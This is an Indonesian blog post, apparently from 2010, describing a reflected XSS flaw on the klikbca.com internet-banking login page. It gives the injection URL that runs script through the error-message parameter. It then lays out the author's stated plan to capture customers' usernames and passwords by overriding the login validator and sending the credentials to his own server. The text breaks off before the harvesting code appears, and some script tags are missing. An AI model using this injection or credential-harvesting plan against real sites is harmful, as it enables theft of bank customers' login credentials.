Minggu, 21 November 2010

Menjaring Password

Sudah baca majalah Underground Info ? Di majalah itu ada artikel yang ditulis oleh S’to tentang XSS di halaman login klikbca.com. Dalam tulisan ini saya bahas lebih jauh lagi dan saya berikan contoh exploit yang cukup berbahaya dari vulnerability yang ditemukan S’to di majalah tersebut.

Maaf artikel ini bukan XSS basics, tentang apa itu XSS nanti saya akan bahas di artikel khusus.
Sebenarnya XSS termasuk bug yang gawat dan susah diantisipasi, namun XSS juga bug yang paling sering diremehkan. Karena berbeda dengan bug lain seperti SQL Injection yang menyerang server, bug ini tidak berpengaruh sama sekali terhadap server. XSS hanya menyerang client, yaitu pengguna web application.
Mungkin mereka berpikir apa sih hal terburuk yang bisa menimpa server dengan XSS? Memang tidak secara langsung, namun ingat satu bug bisa di-exploit dengan 1001 macam cara yang semakin lama semakin efektif. Anda akan terkejut menyadari bahwa bug “seremeh” ini ternyata bisa diexploit sedemikian rupa.
The Vulnerability
xss bug
xss bug
Bug XSS ini akan muncul bila kita memasukkan username dan password yang salah. Ketika kita salah mengisi password, maka akan muncul dialog box yang memberitahu bahwa password kita salah.
URL ketika password kita salah adalah:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=Mohon masukkan User ID/Password Anda yg benar \n (Please enter Your correct User ID/Password)
URL tersebut akan menghasilkan source html sebagai berikut:
<script>
    var err='User ID harus Alpha Numerik/User ID must be Alpha Numeric'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  script>
Perhatikan bahwa setelah var err ditutup dengan karakter kutip (‘). Jadi kalau kita ingin meng-injeksikan tag html atau javascript lain, kita harus tutup dulu dengan karakter (‘). Mari kita coba untuk menampilkan dialog box berisi cookie dengan URL berikut:
https://ibank.klikbca.com/authentication.do?value(actions)=logout&value(strError)=TEST';alert(document.cookie);'
    alert(err);
 iBankForm.action='login.jsp';
 iBankForm.submit();
  
Proses injeksi tersebut bisa dijelaskan dalam gambar berikut ini (klik gambar untuk lebih detil):
klikbca3
Oke saya rasa cukup main-mainnya, saya tidak terlalu suka cookie, saya ingin lebih dari itu, saya ingin username dan password.
Strategy and Tactics
Strategi yang saya pakai untuk mendapatkan username dan password sangatlah sederhana, yaitu dengan mengirimkan password dan username pada saat user meng-klik tombol submit. Untuk bisa menjalankan strategi itu saya menggunakan taktik berikut:
  1. Meng-intercept klik tombol submit
  2. Mengirimkan user dan password ke server saya
  3. Mencatat user dan password di server saya
Intercepting Submit Button
Saya menemukan kendala dalam mengintercept submit button. Kalau kita lihat pada source htmlnya button submit, kita akan temukan bahwa event onclick sudah di-hook untuk fungsi Login_Form_Validator. Setelah saya coba-coba, saya tidak bisa mengubah onclick itu ke fungsi lain.
1
2
3
<input type="Submit" value="LOGIN" name="value(Submit)"
onclick="javascript:return Login_Form_Validator(document.frmParam)"
onmouseover="this.style.cursor='hand'" />
Fungsi Login_Form_Validator digunakan untuk melakukan validasi awal apakah kita mengisi user dan password sesuai format yang benar.
var blnSubmitted = false;
function Login_Form_Validator( theForm ) {
 
  document.forms[0]['value(user_id)'].autocomplete = 'off';
  document.forms[0]['value(pswd)'].autocomplete = 'off';
 
  var blnResponse = false;
  if (blnSubmitted) {
    return false;
  }
 
  var strErrMsg = "";
  if( document.forms[0]['value(user_id)'].value == '') {
    alert("Silakan mengisi User ID anda/Please input your User ID");
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
  if( document.forms[0]['value(user_id)'].value.length>12) {
    alert("User ID/Password Anda salah / Your User ID/Password is Wrong");
    document.forms[0]['value(user_id)'].select();
    document.forms[0]['value(user_id)'].focus();
    return false;
  }
 
  if(document.forms[0]['value(pswd)'].value == '') {
    alert("Silakan mengisi PIN anda/Please input your PIN");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
  if(document.forms[0]['value(pswd)'].value.length<6) {
    alert("PIN harus 6 Angka/PIN must be 6 digits");
    document.forms[0]['value(pswd)'].focus();
    return false;
  }
 
  //if(strErrMsg != '') {
  //  alert(strErrMsg);
  //  return false;
  //}
 
  //blnSubmitted =  confirm("Click OK to login.");
  if ( !blnSubmitted ) {
    blnSubmitted = true;
    blnResponse = true;
  }
 
  //if('< %= blnLogout %>'=='true')
 //blnResponse = false;
 
  return blnResponse;
}
Saya berpikir, bila mengubah onclick button ke fungsi lain tidak bisa, berarti kita harus menimpa fungsi Login_Form_Validator dengan fungsi kita sendiri. Biarkan event onclick button submit mengarah pada Login_Form_Validator, namun fungsi tersebut sudah kita ubah dengan code kita sendiri. Dengan kata lain kita define fungsi dengan nama yang sama, namun isi yang berbeda. Apakah itu akan menimbulkan dualisme fungsi? Iya tentu saja, karena satu fungsi yang sama tidak boleh di-definisikan dua kali.
Setelah saya perhatikan source htmlnya, ternyata saya diuntungkan dengan posisi fungsi Login_Form_Validator yang berada di baris paling bawah. Jadi yang saya lakukan adalah saya definisikan fungsi dengan nama Login_Form_Validator, dan kemudian saya buat browser untuk mengabaikan semua javascript di baris selanjutnya. Dengan cara ini fungsi Login_Form_Validator yang dikenal browser adalah Login_Form_Validator versi saya. Untuk itu saya tambahkan tag

0 komentar:

Poskan Komentar